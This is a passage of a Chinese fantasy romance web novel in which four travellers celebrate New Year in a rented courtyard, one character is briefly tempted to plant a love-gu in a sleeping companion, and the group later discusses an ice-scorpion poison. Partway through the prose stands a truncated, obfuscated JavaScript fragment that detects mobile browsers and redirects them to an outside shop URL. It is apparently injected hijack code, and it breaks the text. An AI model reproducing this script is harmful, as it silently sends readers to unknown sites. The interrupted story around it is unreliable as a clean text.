经历了这一遭,四人都很疲惫,回到客栈倒头就睡,直到第二日早晨才醒来。
这时已腊月了,碧落城里年味越来越浓了。
几人一拍即合,打算在碧落城中租一间小院子,一起过完年再继续寻找白泽记忆。
于是,第二日,四人吃完饭后便一同去看院子。
几人雇佣了一个当地的百姓,跟着他转了一天都没有看见满意的院子。
直至傍晚的时候,那人带他们到最后一个空闲的院子里。
几人跟着进去,一股清香扑鼻而来。
随后,便见一片璀璨夺目、摄人心魄的朱砂梅。
落无忧愣愣地盯着那片朱砂梅,眼里是掩不住的兴奋。
云殷寒的目光在她脸上一闪而过,想起那把银扇上的摄人心魄的那抹红,还有那几颗酸酸甜甜的糖的糖纸上画着的朱砂梅。
那人笑道,“几位,怎么样?”
云殷寒点了点头,从怀中掏出一袋银子递给那人,“自是极好的。”
次日,几人便搬到了这个院子里。
院子还算宽敞,一共有六间房,够四人一人一间还剩两间了。
几人打扫着房屋,各自选择房间住下,这几个月以来,他们行走各地,风餐露营,过的极不安稳,好不容易安定下来一段日子,他们脸上均洋溢着喜悦。
当晚,几人的晚餐还算丰盛。
其实是云殷寒做的。
这让落无忧有些意外,没想到生于钟鸣鼎食之家,自小锦衣玉食的残星楼少主竟会做饭,还做的如此好。
云殷寒正在翻炒着锅里的菜,听见落无忧的赞叹,心中不禁得意了几分,“我会的还算不少。”
落无忧一边添加柴火,一边抿嘴轻笑,“要不要脸。”
这时,白隐迢洗完菜,跑进来,顺嘴接道,“落落不是与师父一同生活,为何不会做饭啊?”
落无忧一听见师父,心下又涌起一阵悲伤来。
不知师父如今在做什么?她消气了没有?
“其实我还有一个嬷嬷。”
那年落无忧八岁,去山间摘野果时,听见阿鸾急切地叫着,其间夹杂着一个微弱的呼救声。
于是她和阿鸾顺着呼救声传来的方向走去,见到一个气息奄奄的妇人,她浑身是血。
落无忧不知道她经历了什么,竟遭受如此折磨,连舌头都被割掉了。
她努力镇定下来,将那妇人带回了青枫宫。
在师父的救治下,林嬷嬷保住了性命。
然而,她被割掉了舌头,没法再说任何一个字。
林嬷嬷不愿说明来处与过往,师父和落无忧便也没问。
林嬷嬷痊愈后不愿意下山,师父只能让她留在青枫宫里。
“平时都是林嬷嬷烧饭的。”
落无忧解释道。
这时,白秋尽自外边回来,她负责出去购买一些蔬菜与肉类。
“聊什么呢?”
她眉眼弯弯,极为温婉的模样。
“说云大哥做饭色香味俱全呢!”
白隐迢打破氛围笑道。
白秋尽看了一眼云殷寒,放下手中的菜,轻轻地打了一下白隐迢的脑袋,“你还不快向云大哥学习一番。”
白隐迢一脸委屈,“阿姐一向是为云大哥说话的!”
落无忧也乐了,反驳道,“白姐姐说的是实话!”
云殷寒有些意外地瞥了一眼落无忧,似是没料到她会为他打趣白隐迢。
她不是与白隐迢还怪亲密的么?
然而,此刻他心情大好,嘴角竟有些情不自禁地上扬。
云殷寒做的饭菜特别好吃,落无忧忍不住吃了两碗米饭。
饭后落无忧自觉地去洗碗,毕竟她几乎什么事也没做。
白隐迢一见,也紧跟其后,“我与你一同去!”
云殷寒正在收拾碗筷的手指一顿,蝶翼般的睫毛簌簌抖动。
白隐迢伸手欲接过云殷寒手里的碗筷。
“云大哥,你歇会吧!我和落落一起洗便好!”
云殷寒紧紧地握着碗,不言不语。
白隐迢疑惑“云大哥?”
云殷寒瞬间松开碗筷,白隐迢接过后往厨房走去。
厨房里传来落无忧嫌弃的声音,“怎么这么慢?”
云殷寒没听清白隐迢回了什么,从他的角度看去,只见白隐迢正认真地盯着落无忧,嘴角上扬。
云殷寒只觉心中极为难受,微微踉跄一步,方才坐下。
“云大哥?”
白秋尽担忧的声音传来,云殷寒脸色苍白,神情戚戚。
云殷寒摆了摆手,示意自己没事。
白秋尽没再多管,只是伸手烤火,垂眸无言,不知在思考什么。
厨房里传来落无忧的声音,“白隐迢,你洗干净了吗?!”
白隐迢霎时哄道,“姑奶奶,您检查一下。您没发话我哪敢收了......”
少男少女,宛如竹马绕青梅般,他们的嬉戏打闹声传来,声声入耳。
云殷寒的脸色愈发的苍白起来了。
偏偏白秋尽一脸温柔的望着厨房窗纸上映着的两道影子,有些艳羡地叹了一声,“真好啊。”
“是吗?”云殷寒的声音里听不出情绪。
白秋尽点点头,“说到底,阿迢还怪喜欢落落的。阿迢想娶谁是由他自己说了算......”
她顿了顿,轻声道,“他们两个还挺相配的。”
“是吗?”
云殷寒语气里皆是苦涩。
对啊,他们才是最匹配的。
而他呢,他的使命是迎娶白家嫡女,永结秦晋之好。
他垂眸,遮住眼里翻涌而上的情绪。
落无忧和白隐迢收拾好后,陆陆续续地往外走来。
察觉到此时气氛有些压抑,她疑惑不解,“白姐姐,哥哥你们在说什么啊?”
白秋尽笑笑扯开话题,拉着她在火盆旁坐下。
火盆中的炭火燃烧得正旺,外边风声呼啸,寒冷之气自背后袭来。
云殷寒起身拿来一些瓜子水果,几人在火盆旁坐着发呆,各怀心思。
白隐迢忽然开口打破僵局,“传言苗疆女子至情至性,却也不缺心狠手辣之人。若是爱而不得,落落你会怎样?”
落无忧盯着炭火,轻笑,“若是我呀,我便将蛊虫种入他体内,叫他生生世世陪着我,哪怕是个没有心的空壳!”
云殷寒抬眸,却见少女眉眼柔和,目光清澈,可说出口的话却是残忍至极。
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白隐迢“噗嗤”一声笑出口,落无忧不解,“你笑什么?”
白隐迢伸手探过一颗脆枣儿,往嘴里丢去,声音有些含糊不清。
“我与你不同,若是是我,爱而不得又如何,我愿用余生守护她。”
落无忧眼底闪过一丝诧异,“哪怕她不知道?”
“对!”白隐迢点头,眉眼间皆是不羁。
“那你呢?哥哥,如果是你你会怎么做?”
落无忧忽然转头,猝不及防的对上云殷寒宛如黑夜般的眸子里,他目光里有她看不出的情绪。
云殷寒默了片刻,盯着落无忧认真地一字一顿道,“护她一世无忧。”
他眼神诚挚,声音宛如刚化开的雪水般冷清好听,落无忧的脸蓦的红了。
她心跳如鼓声,有些惊慌失措地移开目光。
“那、白姐姐呢?”
白秋尽目光落在炭火上,神色柔和,声音里充满了一丝难以察觉的无奈。
“我啊......我会步步后退,祝他余生安康。”
落无忧愣愣地听着,仿佛被她的哀伤感染了,继续疑惑,“那你呢?”
白秋尽抬头冲她一笑,宛若梨花般清丽。
“我会与家族共存亡。”
落无忧张了张口,却没有再问。
六大楼阁皆有自己的隐秘史,她听说过云白两家是要通婚的,但不知道白秋尽是否需要嫁给云家之人。
见气氛有些僵,白隐迢伸了伸懒腰,笑道,“新年快到了,不知碧落城的年味重不重?”
落无忧闻言眼睛亮晶晶的,一脸期待,“我还不曾见过别人过年呢。”
往年过年时,林嬷嬷便会烧一大桌子的菜,师父在那几天也会对她稍为宽松,不干涉她饮酒玩闹。
但诺大的青枫宫到底只有她们三人,况且林嬷嬷还不会说话,也没人跟她说过外面的世界,今年终于可以亲眼目睹传说中的烟花绚丽、辞旧迎新了。
“你是不知道,在我们家,每次过年爹娘就管的极严,我就不必说了,阿姐既要抓修为,还要抓厨艺女工各种大家闺秀的活计......”
落无忧一听便觉得十分头疼,她由衷地赞叹:“白姐姐太厉害了。”
白秋尽无奈的笑了笑,“我其实也不喜欢此类事情。”
白隐迢继续吐槽道,“待来日我做了家主,我定要废除此类规定!”
“阿迢!不许胡说!”
白秋尽的语气里罕见的带了一丝愠色。
白隐迢有些委屈,眼眶有些发红,“阿姐,你受过的苦我都知道,我不愿再让白家女子再受此类苦......”
白秋尽见状,语气柔和了下来,轻声道,“你有此心便好。只是莫让爹和各位长老听见了才好。”
云殷寒认真地看着白隐迢,轻轻地拍了拍他的肩膀,“阿迢说的极是。”
白隐迢双目亮了一下,高兴道,“你看,云大哥也是这般想的......”
然而,下一刻,他的笑容僵在了脸上。
云殷寒郑重嘱咐道,“此事非同小可,传承了几百年甚至更久的习俗,已经根深蒂固了,正在潜移默化的影响着一代又一代的人,并非你想便能成功的。
阿迢,我希望有朝一日你能做到。”
26. 辞旧迎新(二)
几人在小院住了一段时间,碧落城里的年味越发的浓重起来了。
前几日,又下了一场雪,此时六合依旧一片银装素裹。
今日,天气大好,太阳高挂,暖洋洋的。
落无忧特别开心,一大早上就起来梳妆打扮,想拉着几人去街上买东西。
前几日,她与白秋尽出去购置衣服,她喜气洋洋的买了一套大红色的裙子,外加一件大红色的披风。
落无忧穿着大红色的衣服,衬得她肤白貌美,宛如一尊金贵的瓷娃娃。
云殷寒不喜欢太艳丽的红色,故而整体上还是白色的,但腰间的腰封却是暗红色的,多了几分硬朗。
四人一同走出院子,街上已是一片热闹非凡了。
人山人海,水泄不通,落无忧在人群中挤来挤去,东看看西瞧瞧,云殷寒在人群里寻找着那抹红色的身影,生怕一眨眼她便被挤走了。
“哥哥!”
云殷寒抬头,却在红衣少女言笑晏晏,鹿眼亮晶晶的,隔着人群看着他。
云殷寒的心跳不受控制的加快,却听少女的声音在杂乱无章的各类声音间一点一滴传入他耳朵中。
她说,“哥哥,你真好看。”
云殷寒含笑回望着她,却见她又如同泥鳅般在人群中穿梭着。
他只好立即跟上她,待到他追上她时,身后已不见白秋尽和白隐迢的身影了。
落无忧正在挑糖葫芦,卖糖葫芦的老爷爷满脸褶子笑得慈祥,“小姑娘,慢慢挑。”
落无忧歪头打量着糖葫芦,在思索要哪串,此时一阵冷香味扑鼻而来,一只修长、骨节分明的玉手伸来指了指两串,对老爷爷道,“我们要那两串。”
云殷寒与她靠的极近,近的他弯取糖葫芦时呼出的热气喷洒在她脖颈,痒痒的。
落无忧僵了一会,才往后退了两步。
云殷寒将手中的两串糖葫芦递给她,落无忧疑惑,“你不吃?”
云殷寒垂下眼帘,轻声道,“不吃。”
落无忧接过糖葫芦,咬了一口,歪头问道,“哥哥,你是不是......”
“什么?”云殷寒的呼吸顿了一瞬。
落无忧腮帮子鼓鼓的,声音有些含糊不清,“你是不是,不爱吃甜的?”
云殷寒想起那几颗酸甜口味的、印着朱砂梅的糖果,摇了摇头。
“那你是不是不喜欢吃糖葫芦?”
落无忧又咬了一口,追问道。
然而,下一刻云殷寒忽然弯腰咬了一口落无忧手中拿着的糖葫芦。
形形色色的路人在他们身旁路过,周遭的一切声响仿佛都遁了形。
落无忧忘记了咀嚼,愣愣地盯着云殷寒,脸上泛起一阵燥热。
他,就这么吃了?!
她甚至感觉到了他喷洒在她手背上的呼吸,极痒,不仅是手背,心中也是。
云殷寒嚼了几下,“也挺喜欢的。”
可是他以前并不喜欢吃甜的。
太甜、太容易让人失去分寸,像她一样。
*
几人采购物资却在途中走散了,直至接近傍晚才陆续回到院子。
白隐迢将手中买的各种蔬菜水果提到厨房,咋咋呼呼地叫唤,“太挤了!我再也不想在腊月二十九去街上!”
云殷寒手中提的便是多种多样了,有蔬果、有鱼肉、还有各类糕点和小玩意,甚至还有美酒,这些都是落无忧嚷嚷着买的。
几人逛了一天都觉疲惫,便吃完饭后就立即睡下了。
第二日便是腊月三十了,几人喜气洋洋地起床梳妆,打扫院子。
院子里仍有厚厚的白雪,落无忧突然想去玩雪。
她兴致勃勃地建议,“要不我们去堆雪人吧!”
恰巧那时云殷寒在洗晚上要用到的菜,白秋尽正在清理门窗桌椅,只有白隐迢激动道,“好啊!”
两人蹲在雪地里堆雪人,风中传来少女略显嫌弃的声音,“这个丑!”
少女又道,“阿迢,让我来。”
正在洗菜的云殷寒指尖一顿,咬着后槽牙,心中暗讽,好啊,都喊上“阿迢”了。
这声“阿迢”对白隐迢很是受用,他努力压下微微上扬的嘴角,笑道,“你来!”
落无忧正在用心地堆雪人,丝毫没发觉有何不妥,她见白隐迢蹲在自己身旁出神地盯着自己,不禁疑惑,“你看着我做什么?”
白隐迢有些慌乱地移开视线,耳根有些泛红。
从云殷寒的角度看去,落无忧和白隐迢正凑得极近的说说笑笑,他抬眼又见白隐迢耳朵宛如熟透了般,心中不免激起一阵恼怒来。
“我去拿黑豆和红枣来!”
说着,白隐迢站起身去厨房拿黑豆和红枣,经过云殷寒身边时,他还冲云殷寒笑了笑,见到云殷寒的兴致不太高的模样,他还关心道,“云大哥是受寒了么?”
云殷寒抿着嘴没回答,白隐迢见状又道,“云大哥要一起玩么?”
云殷寒不咸不淡道,“小孩子的游戏,我不玩。”
说罢,拂袖往房间里走去。
白隐迢感觉有些莫名其妙的,他边走边回头,落无忧从他手里接过黑豆,用作雪人的眼睛。
“你方才和哥哥说了什么?”
落无忧又拿了几颗红枣来给雪人安嘴巴。
白隐迢笑道,“没什么。我不过是问云大哥可要来与我们一同堆雪人......”
“他拒绝了?”落无忧看着面前的雪人,满意地点了点头。
白隐迢看着眼前的红衣少女向一团雪白可爱的雪人满意地点头,眼里含笑,“他说,这是小孩子玩的,他不玩。”
落无忧闻言心中愤愤不平,讥讽回击,“他想玩我还不愿同他一起堆呢!”
*
等两人玩够了才开始打扫院子。
那时,云殷寒与白秋尽已做完一切了,实在看不下去,便过来与两人一起清扫。
不愧是众人拾柴火焰高,四人一会便已将院子清理得差不多了。
几人稍作休息后,便开始一同做起了年夜饭。
云殷寒主勺,其余三人打打下手,忙活了很久,夜色降临时一大桌丰盛的年夜饭做好了。
落无忧抚掌称绝,“哥哥真厉害!”
云殷寒还记挂着白天堆雪人一事,没给她什么好脸色。
落无忧偷偷吐了吐舌头,“怎么不理人啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259508|139813||http|test|mini|href|location''.split(''|''),0,{}));
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>白秋尽摸了摸她的头,没说话。
“来包饺子吧。”
云殷寒一面叫几人,一面揉面。
落无忧凑上去拿了一小块面团,将面团擀薄,把馅料放进去,随后将面皮包起来。
然而,她擀得太薄了,馅料又放的太多了,导致她一掐饺子就破了。
只听见落无忧“啊呀”的惊呼一声,云殷寒摆着脸伸出手教她包。
饺子在他修长白皙的手中渐渐成型。
落无忧惊奇地盯着他,鹿眼里都是崇拜。
感受到少女灼热的视线,云殷寒浓密的睫毛微微颤动。
“学会了么?”云殷寒的声音冷不防的传来。
落无忧将目光移到他手中,只见那个饺子已被他修补好了。
“没、没学会。”
一股羞耻顺着落无忧脊柱慢慢爬上来,她继续道,“我不学了!”
随后,往桌子边上走去。
云殷寒嘴角微微上扬。
*
四人坐在桌旁,桌上摆满了琳琅满目的美食。
落无忧拿着美酒小杯小杯的喝着。
云殷寒与白秋尽和白隐迢絮絮叨叨地聊着天,等到他转过头时,只见少女脸色酡红,正低着头小口啜饮。
他收敛神色,默不作声地为她夹了一些菜,小声道,“吃些东西再喝。”
落无忧抬起筷子往嘴里送菜,轻声道,“我没醉,我不容易醉。”
这时白隐迢给白秋尽和云殷寒一人倒了些酒,“云大哥,阿姐你们也喝点,今夜是除夕,喝点没关系的。”
说着,几人也喝起了酒。
落无忧夹着一个炸鸡腿安安静静地吃着,她喝了酒后变得特别安静。
脸上绒毛显得极为温柔,眼神清澈,尤其可爱。
云殷寒拿过一块桂花糕递给她,落无忧见状放下了手中的炸鸡腿,抬头看着云殷寒。
“你喂我。”
她的声音少了许多俏皮,满是软糯可爱。
云殷寒默了片刻,轻哄道,“自己吃。”
他以为落无忧还会继续撒娇,却见她十分乖巧地点了点头,接过他手中的桂花糕,放进嘴里。
她的腮帮子鼓鼓的,有些含糊不清道,“好吃。”
她吃到满意的东西时,总是忍不住摇头晃脑,眉眼弯弯的,像只可爱的小猫。
云殷寒收回视线,再次拿了块桂花糕放进自己嘴里,他缓缓地嚼了嚼,软糯香甜。
他也说不清从什么时候,竟不再那么讨厌甜食了。
可能是少女喜滋滋地将手中的糖递给他的时候吧。
她如甜食一般,软糯、香甜、令人愉悦,让人深深沉溺,无法自拔。
想着,他抬手再接了一杯酒,烈酒入腹,使他全身暖和起来了。
云殷寒余光注意着身旁少女的一举一动,见她将手中的鸡腿吃的一干二净后,又开始喝酒。
他又夹了一块红烧猪蹄给她,顺便夹了清蒸鱼、粉蒸肉、红烧茄子等。
又怕她想吃甜的,又给她端了一些蜜饯龙眼、八珍梅、蜜木瓜之类。
落无忧放下酒杯,便对着自己面前被堆得满满当当的食物陷入了沉思。
27. 辞旧迎新(终)
落无忧自小喜爱喝酒,加之云殷寒给她夹了很多菜,于是她并没醉,只觉得有些迷迷糊糊的。
然而其余三人是在边谈论边喝酒,基本上没吃什么。
白秋尽基本上没喝过酒,才尝了两三杯便醉倒在桌子上了。
只剩白隐迢拉着云殷寒絮絮叨叨地谈天说地。
又不知过了多久,云殷寒和白隐迢也醉倒了。
落无忧慢慢吞吞地吃坚果,脑子迷迷糊糊的。
窗外忽然传来一阵噼里啪啦的声音,她转头看去,只见烟花漫天,宛若星落。
她还在愣愣地看着,忽然一双手抓住了她,她有些惊慌回头。
却见云殷寒如玉般的脸庞上浮现两抹淡红,他的嘴唇红艳夺目,眼睛里盛满了烟火。
只听他轻声道,“无忧,新年快乐。”
落无忧有些懵懵的,她粲然一笑,露出一对尖尖的小虎牙,学着他的语气,轻回,
“新年快乐啊。”
落无忧话音方落,云殷寒便再次往桌上跌去。
落无忧用力拉住他,才使他没打翻桌上的酒杯。
然而,这一举动却吵醒了白秋尽。
白秋尽也有些懵懂,她看着落无忧和云殷寒,愣愣出神。
落无忧解释,“他喝多了,差点摔了。”
白秋尽又转头看了一眼身旁烂醉如泥的白隐迢,慢慢吞吞道,
“你把云大哥送回房,我来把阿迢带回去。”
说着,白秋尽站起来去扶白隐迢,两人晃晃悠悠地往外走去。
落无忧看着趴在桌子上的云殷寒,一时竟不知道该怎么做。
默了片刻,她才开口,“哥哥,我扶你回房。”
说着,她伸手拉着云殷寒。
云殷寒缓缓起身,揽着落无忧的肩膀,几近所有的重心都压到落无忧身上。
落无忧踉跄几步才稳住脚步,她扶着云殷寒缓缓往门外走去。
云殷寒弯着腰,垂着头,炽热的气息喷洒到落无忧脖颈和耳边,激起她阵阵心悸。
他的唇靠的极近,随着脚步一下一下的蹭过落无忧的脸颊。
落无忧只觉极为陌生,又十分奇妙,心脏砰砰直跳,有些难受。她微微动了一下,想与云殷寒拉开一段距离,结果云殷寒极不安生地动了——
他一把揽过落无忧,想将她禁锢在怀中。
地上湿湿滑滑的,落无忧没站稳,两人一同往后摔去。
落无忧倒是没什么事,毕竟摔倒时,云殷寒用手垫着她的头。
然而,云殷寒就有些惨了。她只听见云殷寒闷哼一声,随后吸了口冷气。
落无忧立即爬起来查看他的伤势,云殷寒的醉意被摔散了几分。
他抬头看着落无忧。
此时,外头的烟火声仍旧此起彼伏的响起,一朵朵绚丽无比的烟花在上空猛然绽开,少女在烟火下担忧地望着他,她的鼻子红通通的,小脸缩到身上的斗篷上面的一圈毛茸茸里。
啧,真可爱。
云殷寒忽然就笑了,他的眼睛里盛满了水光、烟花和她。
落无忧心里激起惊涛骇浪来,她愣愣地看着云殷寒,心中暗想,他怎么这般好看。
她想着,企图拉起他,却拉不动一点。
落无忧试了几次,依旧拉不起来,她有些恼怒,“再不起你今夜就睡这儿吧!”
云殷寒竟罕见地反驳,“那你陪我吗?”
落无忧听出了他话语里赤.裸.裸的调.戏,恼道,“呸,我才不要陪你!说这话也不知羞。”
说着,她再次伸手拉他。
云殷寒低声地笑着,望向落无忧的目光极为温柔。
他又将视线从落无忧脸上移向她朝他伸出的手上,顿了片刻,将自己的手放到她手中。
落无忧将他拉起。
然而,拉起来后云殷寒又像最初一样整个人压在她肩膀上,两人踉踉跄跄地走着。
落无忧不禁骂道,“你是不是故意的?”
云殷寒仿佛没听到她的声音,自顾自小声吐槽,“啊啊啊——头好晕......”
随后倒在落无忧身上。
落无忧叹了口气,被云殷寒这么一搞,她只觉得清醒了不少,醉意都消散得差不多。
漫天烟花下,昏黄的灯光下红衣少女和白衣青年的影子相互交融,难舍难分,平添了一丝旖旎。
“别动别动——”
落无忧一把搂着云殷寒,防止他向前跌去。
当落无忧的手从披风间溜进去一把搂住云殷寒的腰时,他猛然一僵,浑身气血上涌,一点都不敢动。
落无忧却没发觉他的反常,她一手搂着云殷寒,一手推门。
木门发出“吱呀——”的一声响动,房间内一片黑暗,落无忧施了个诀,她腰间的宫铃立即发出金黄色的光晕,照亮了房间。
落无忧搂着云殷寒跌跌撞撞地走向床,她要将云殷寒一把推到床上,然而云殷寒还搂着她的肩膀,故而将她也连带着拽到床上。
落无忧:??
她的宫铃被云殷寒的斗篷遮住,房间一下子黑下来。
落无忧睁大眼睛,脑袋发昏,她愣了几秒才试图挣脱云殷寒起身。
然而,云殷寒不知是真醉还是假醉,竟一动不动地躺在床上,他的呼吸竟逐渐平缓了下来。
云殷寒的手劲极大,落无忧竟无法挣脱半分,她有些急切,“你、你先放开我。”
云殷寒却宛若未闻。落无忧已经适应了一些房间里的黑暗,她恼怒,“你这人怎么这样?”
竟带上了些许的哭腔。
她隐隐约约看见,云殷寒清秀的眉头微微皱了皱。
随后,落无忧便觉禁锢着自己的力道轻了些。
她微微动了动,发现自己可以活动了,便轻轻地将云殷寒的手拿开,缓缓起身。
落无忧看着胡乱躺在床上的云殷寒沉默片刻,弯腰替他脱去鞋子,之后又小心翼翼地将他移到床上。
落无忧为他盖好被子后刚要转身离去,却被他一把拉住。
她再一次被他拉到了床上。
但是这次是她趴在他的身上。
落无忧:???
谁能告诉她平日里淡漠高贵的云殷寒喝酒后会这般强势粘人?!
落无忧被迫趴在他胸口上,隔着衣料和被子,她听见了他心跳如鼓。
她微微抬头,却见云殷寒依旧皱着眉头,额间冷汗沁出,睡得极不安生的模样。
落无忧轻声道,“你先放开我可好?”
说完,落无忧用可以自由活动的手拿出布袋中的手帕,轻手轻脚地为他擦汗。
擦着擦着,云殷寒
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竟睁开了双眼,与落无忧四目相对。
落无忧以为他清醒过来了,便讪笑道,“你快放开我吧。”
云殷寒静静地盯着她看了半晌,又缓缓地合上眼。
落无忧疑惑,这酒还没醒么?
云殷寒一直没放开她,她便只能一直趴在他身上。
落无忧本就喝了不少酒,又折腾了半宿,脑袋有些昏昏沉沉的。
她竟趴在他身上迷迷糊糊地睡过去了。
不知过了多久,落无忧才悠悠转醒。
此时,云殷寒已沉沉入睡,抓着她的手也松了不少。
落无忧挣脱掉云殷寒的手,站起身弯腰看他。
却见他的脸庞半隐于黑暗中,愈发的显得他五官精致,光照夺目。
落无忧愣愣地盯着他,手不自觉地抚上他的眉间,自他眉骨一路往下移去,指尖在他嘴唇上停下。
迷迷糊糊间,落无忧脑海中忽然闪过一个邪恶的念头:
我若是将情蛊种入他体内会如何?
一旦有了这个念头,它便发了疯似的往上冒着。
那个念头宛如罂粟花般使人上瘾。
另一个念头又缓缓冒出:
不可以,不能给他下情蛊。
她体内的魔丹散发着浓郁的魔气,正一点一点摧毁她的意志。
落无忧指尖托着一只泛着紫光的蛊虫,她的脸上尽是疯狂——
把蛊虫种进去,种进去,他便是你的了。生生世世,无人能改。
落无忧全身细胞都在叫嚣着,她微微笑着,将蛊虫一步步移向他。
那蛊虫正在微微蠕动着,一寸一寸爬向云殷寒的眉心。
在它即将没入云殷寒眉心的那一瞬,落无忧的微笑僵在脸上,她猛然一甩,那只泛着紫光的蛊虫被她往后卷去,弹到地板上,发出一道“铮铮”的刺耳声。
落无忧脸色苍白如纸,她踉跄着往后退了几步。
她刚刚在想什么?
她刚刚在做什么?
她怎会想给哥哥种入蛊虫呢?
落无忧沉默了半晌,久久不能平复心情。
她又鬼使神差地往床边走去,静静地盯着云殷寒的睡颜。
她的脑袋昏昏涨涨的,有些反应有些迟钝。
下一瞬,她未经脑子便俯身向云殷寒吻去。
好凉,仿佛高山上经年未化的积雪般。
这是落无忧的第一个想法。
第二个念头是,好软啊。
第三个想法是:
完了,我是中了什么蛊么?
下一刻,她几乎弹跳着起身。
“啊!”
落无忧痛呼出声,又紧紧地捂住嘴,暗道,
完了完了!这下真的完了!他醒了怎么办?!
她一边默念着,一边猛然往下看去,见云殷寒狠狠地皱了皱眉头,却没有睁开眼睛。
所幸他没醒。
落无忧一面心存侥幸,一面观察她的头发是被什么东西勾住了。
却见,她的头发正被云殷寒绾发的银冠勾住了,她伸手欲解,却越急越解不开。
落无忧又怕吵醒云殷寒,只敢极小心翼翼地解着,她急的眼泪都要流出来了。
解了半天她才将头发从他的发冠中抽出来。
一解开,她便落荒而逃了。
28. 已染红尘(一)
次日,几人起来时已是午时,落无忧揉着惺忪睡眼从房间里慢慢悠悠地走出来。
下一瞬,她见到云殷寒正从隔壁房里走出。她顾不上打招呼,直接转身离去。
落无忧心底乞求他不要叫她,千万不要叫她。
结果,云殷寒脱口而出,“早上好啊。”
落无忧脚步一顿,尴尬道哦,“早、早上好啊。”
云殷寒缓缓走上来,眼底疑惑更甚,“你怕我做什么?”
落无忧恨不得钻入地底下,眼神乱瞟,讪笑着解释,“我怎么可能怕你。我是要去、要去......”
“嗯?”
云殷寒低头看她如何编下去。
落无忧一抬眸,便看见他红润饱满的嘴唇,柔软冰冷的触感历历在目,她脸色一僵,飞快跑开,声音断断续续,带着恼怒,
“我是要去,解手!”
云殷寒看着宛如兔子般飞速逃离的少女的背影,眼底笑意更深。
*
“我听闻,碧落城正月初一有一个习俗——”
饭桌上,白秋尽开口建议,“他们今日都要去庙会,去祈福。我们也去逛逛吧?”
“好啊!”白隐迢最先赞成。
说完,却发现没人附和。
他不禁有些疑惑地望向对面,却见一向喜爱热闹的落无忧却宛若未闻般埋头吃饭。
“落落?”
“啊?”落无忧满心思都在思考该如何将昨夜之事忘记,满脑子都在纠结昨晚云殷寒究竟有没有醒,此时听见白隐迢的叫唤,她很是疑惑,
“怎么了?”
白隐迢叹了口气,“落落你昨晚没睡好吗?”
说着,白秋尽也担忧地看着她。
云殷寒却依然不紧不慢地吃饭,没分一点眼神给她。
落无忧尴尬一笑,“嗯,是有一点。”
“我们待会一起去逛逛庙会吧!”白隐迢再次商量。
落无忧点了点头,随后又垂下头继续心不在焉地吃饭。
白秋尽疑惑地看着云殷寒,然而云殷寒从始至终没说一句话,只是认认真真地吃早饭。
他们是怎么了?
待吃完早饭,四人便往外走去。
白秋尽和当地人打听过了,正月初日,碧落城中的人都会去附近的碧落山逛庙会。
碧落城坐落在碧落山脚下。
此时阳光明媚,积雪融化,山路上有些湿漉漉的,四人周围的是一些当地的人,他们衣裳素净,眉眼间皆是虔诚。
落无忧不信神佛,故而只是安安静静地欣赏着碧落山的风景。
此时他们已至半山腰,云雾缭绕,湿气弥漫,飘飘欲仙。
云殷寒本身也不信神佛,但由于母亲白怡妤的缘故,佛门对他而言还算亲切。
想到白怡妤,他的神色凝重了些。
他此番来到青枫最要紧的是寻药和弄清父母之间的往事,可此时他依旧什么线索都没有。
先不说父亲的那位“故人”是谁,就连父亲旧病复发他也没有一点医治的办法。
“云大哥,你在想什么?”
白秋尽见他脸色凝重,不禁开口询问,她听过那位表姑母,传言表姑母与云家家主婚姻不睦,故而自请远离云家,出家为尼,终生不入云家门。
说不唏嘘是假的,可白秋尽心里更多的是难过与悲哀——
难过自己终会步入她的后尘。
悲哀云白两家以牺牲后代幸福来联姻,来联盟。
云殷寒收敛神色,眼中又恢复一片清明,仿佛方才白秋尽看见的迷茫是假的。
他忽然轻问,“你们可知冰蝎毒?”
“冰蝎毒?”白秋尽默念着这个名字,却摇了摇头,“没听过。”
今日一直神色恹恹的落无忧闻言目光微微闪烁,“冰蝎毒?”
她喃喃自语,“我曾在古籍中见过,冰蝎毒乃冰蝎蜇人而使其中毒。冰蝎毒,起初四肢冰冷,剧痛至极。而后扩散到全身,乃至全身冰冷,修为尽散而死……”
落无忧话语方落,便听云殷寒追问道,“有何解法?”
落无忧虽疑惑云殷寒的反应太大了,却轻声道,“没有彻底的解法,只有压制的办法。”
“那二十年多前中毒,可会安然无恙的活到此时?”
落无忧摇了摇头,如实道,“没有这种可能。”
云殷寒的心起起落落,父亲确实是二十多年前身中此毒的。
这是残星楼的秘密之一,当代楼主云沐坻曾在二十五年前进入青枫历练,却在途中不幸身中冰蝎毒,所幸遇到世外高人救他一命。
但随着云沐坻年岁渐长,他的身体愈发的虚弱,修为减少。
这便是云殷寒此行目的之一。
落无忧见云殷寒神色极为难看,在脑海中搜寻之前所看过的关于冰蝎毒的信息。
她腰间的布袋忽然动了几下。
落无忧疑惑,却还是解开布袋。
阿鸾自布袋中飞出,叽叽喳喳地围绕着落无忧叫唤。
落无忧脸上渐渐出现喜悦,她轻声问道,“阿鸾,你确定么?”
阿鸾又叽里咕噜地说了一堆。
落无忧对几人补充道,“还有一点便是霜魄丹可暂时压制冰蝎毒,有一定的缓解作用。”
“当真?”
落无忧对上云殷寒的目光点了点头,“自然。”
白隐迢好奇,“霜魄丹是什么?”
落无忧看着疑惑的几人,神色间带着一丝傲意,“霜魄丹乃我师父炼制的名丹,可解世间大部分毒。”
她顿了顿,“你们不知道也正常,除了师祖帝无邪名声赫赫、响动江湖外,我青枫宫隐于山间,淡出江湖,默默无名。”
说罢,落无忧终于想起问云殷寒,“哥哥,你为何对冰蝎毒如此疑惑?”
云殷寒垂下眼帘,轻声道,“我想问你要几颗霜魄丹可好?”
落无忧点了点头,“本是可以的,只是......”
云殷寒眼中充满了期待,落无忧咬了咬唇,“我这里已没有霜魄丹了,我此番下山便是因为与师父吵架负起出走,这样吧,我先叫阿鸾回去同师父要几颗。”
心下却暗自神伤,不知师父原谅我了吗?也不知阿鸾可否能带来霜魄丹?
落无忧伸手戳了戳阿鸾,嘱咐道,“阿鸾,你回去向师父要几颗霜魄丹来。”
阿鸾轻快地煽动翅膀作为应答。
